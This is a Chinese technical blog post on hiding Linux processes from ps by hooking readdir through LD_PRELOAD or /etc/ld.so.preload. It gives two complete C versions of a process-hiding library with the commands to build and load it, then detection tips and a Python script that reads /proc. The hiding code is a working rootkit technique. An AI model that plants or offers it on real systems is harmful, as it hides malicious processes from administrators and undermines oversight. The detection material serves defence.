Linux 通过LD_PRELOAD实现进程隐藏
LD_PRELOAD介绍
好问题!实际上,/etc/ld.so.preload在某种程度上取代了LD_PRELOAD。
由于安全问题,LD_PRELOAD受到严格限制:它不能执行任意setuid二进制文件,因为如果可以,您可以用您自己的恶意代码替换库例程,例如参见此处的一个很好的讨论。事实上,你可以在ld.so’user manual 中阅读:
LD_PRELOAD 要在所有其他库之前加载的附加、用户指定的 ELF 共享库列表。列表的项目可以用空格或冒号分隔。这可用于选择性地覆盖其他共享库中的函数。使用描述下给出的规则搜索库。对于 set-user-ID/set-group-ID ELF 二进制文件,包含斜杠的预加载路径名将被忽略,并且只有在库文件上启用了 set-user-ID 权限位时才会加载标准搜索目录中的库。
相反,文件/etc/ld.so.preload没有这样的限制,这个想法是,如果你可以读/写目录/etc,你已经拥有 root 凭据。因此它的使用。请记住,您可以使用/etc/ld.so.preload即使您一开始似乎没有:它只是glibc 的一个特性,因此是所有 Linux 发行版的一个特性(但不是,最好的我对 Unix 风格的了解),因此您可以创建它并将任何Linux 发行版中的任何setuid 库的名称放入其中,它就会起作用。
实验过程
(也不知道这两个函数怎么知道是系统调用抽出来的)
ps命令获取进程过程:
* openat打开/proc/<pid>/<file>
* read读取
* write输出
通过执行strace -f ps -elf 2>&1
即可得出结论
上面那个github的原理就是hook了readdir。github上面那个通过利用循环里的continue跳过匹配的进程返回,但是会造成bug,稍微修改了一下,最终结果如下
#define _GNU_SOURCE
#include <dirent.h>
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
#include <unistd.h>
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp); //获取目录流文件描述符
if(fd == -1) {
return 0;
}
char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd); //拼接路径得到目录流文件路径
ssize_t ret = readlink(tmp, buf, size); //读取符号链接的值 (读取链接的目录)
if(ret == -1) {
return 0;
}
buf[ret] = 0;
return 1;
}
static int get_process_name(char* pid, char* buf)
{
if(strspn(pid, "0123456789") != strlen(pid)) { //枚举出PID目录
return 0;
}
char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid); //拼接得到/porc/<pid>/stat文件路径
FILE* f = fopen(tmp, "r");
if(f == NULL) {
return 0;
}
if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}
fclose(f);
int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf); //读取完/porc/<pid>/stat文件内容匹配出进程名称
return 1;
}
static struct dirent* (*original_readdir)(DIR*) = NULL; //构造readdir函数原型 https://linux.die.net/man/3/readdir
static const char* process_to_filter = "ruby"; //需要被隐藏的进程名称
struct dirent *readdir(DIR *dirp){
if(original_readdir == NULL) {
original_readdir = dlsym(RTLD_NEXT, "readdir"); //通过dlsym来获取readdir函数地址
if(original_readdir==NULL){
printf("readdir Address Get Failure,Error Code:%d\n",dlerror());
}
}
struct dirent* dp;
dp=original_readdir(dirp); //通过调用readdir函数读取目录
char dirname[256];
char processname[256];
get_dir_name(dirp,dirname,sizeof(dirname)); //获取当前所在目录
if(strcmp(dirname,"/proc")==0){ //目录文件等于/proc
get_process_name(dp->d_name,processname); //由于目录文件是/proc,那么文件名(d_name)肯定是pid,所以获取要打开的文件名
if(strcmp(processname,process_to_filter)==0){ //当进程名称符合要屏蔽的进程名不返回
}else{
return dp;
}
}
}
while循环continue屏蔽
#define _GNU_SOURCE
#include <dirent.h>
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
#include <unistd.h>
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}
char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}
buf[ret] = 0;
return 1;
}
static int get_process_name(char* pid, char* buf)
{
if(strspn(pid, "0123456789") != strlen(pid)) {
return 0;
}
char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
FILE* f = fopen(tmp, "r");
if(f == NULL) {
return 0;
}
if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}
fclose(f);
int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
}
#define DECLARE_READDIR(dirent, readdir)
static struct dirent* (*original_readdir)(DIR*) = NULL;
static const char* process_to_filter = "ruby";
struct dirent *readdir(DIR *dirp){
if(original_readdir == NULL) {
original_readdir = dlsym(RTLD_NEXT, "readdir");
if(original_readdir==NULL){
printf("readdir Address Get Failure,Error Code:%d\n",dlerror());
}
}
struct dirent* dp;
while(1){
dp=original_readdir(dirp);
char dirname[256];
char processname[256];
get_dir_name(dirp,dirname,sizeof(dirname));
if(strcmp(dirname,"/proc")==0){
get_process_name(dp->d_name,processname);
if(strcmp(processname,process_to_filter)==0){
continue;
}
}
break;
}
return dp;
}
静态编译:gcc -shared -fpic example.c -o example.so
LD_PRELOAD=/home/kali/Desktop/example.so /usr/bin/ps -elf
#指定程序使用
从这些code里面可以明白写LD HOOK的时候,需准备以下操作:
* 被HOOK的目标函数是否通过libc抽象出来调用的,比如说getuid这种就不是。C原生的,非C原生的都要HOOK C原生函数
* 实例化被HOOK函数原型
* 通过dlsym寻找被HOOK原函数的地址,赋予定义的函数原型变量
* 调用原函数获取内容,判断后是否要return
PS:最好还是用while continue屏蔽
/etc/ld.so.preload测试的问题
使用了/etc/ld.so.preload (最好不要用,由于是全局使用容易出现大规模的问题) -> 匹配到不是进程名称的就return返回
(测试遇到这个问题先删除so,在删除/etc/ld.so.preload)
while循环continue虽然可以避免这个问题,但是执行ps的时候会出现bug
防止这种操作蒙蔽双眼:
I、检查LD_PRELOAD环境变量是否有异常
II、检查ld.so.preload 等配置文件是否有异常
III、自己写个python小工具,直接读取/proc中的内容,对于ps等工具的结果,对不上,则存在被劫持可能
IV、使用sysdig(有开源版,可以监控ps等的调用过程,观察是否有恶意动态库被加载。strace有类似功能)或者prochunter(google 上search)
sysdig proc.name=ps or strace -f ps -elf 2>&1
遍历/poc目录,获取进程PID。读取/proc/
import os
def getprocess():
path=os.listdir("/proc")
for p in path:
tmplen=0
for n in range(0,10):
for c in p:
if c==str(n):
tmplen+=1
if len(p)==tmplen:
print("------PID:{}-----".format(p))
print(open("/proc/{}/stat".format(p),"r").read())
print(open("/proc/{}/cmdline".format(p),"r").read())
getprocess()
参考链接
https://linux.die.net/man/3/readdir
https://pubs.opengroup.org/onlinepubs/007904875/functions/readdir_r.html
https://techoverflow.net/2019/06/20/how-to-fix-c-error-rtld_next-undeclared/
https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/
https://github.com/gianlucaborello/libprocesshider
现成工具:https://github.com/gianlucaborello/libprocesshider
原理文章:https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:Linux 通过LD_PRELOAD实现进程隐藏
本文作者:九世
发布时间:2021-07-26, 17:20:12
最后更新:2021-07-26, 18:13:28
原始链接:http://jiushill.github.io/posts/906527f2.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。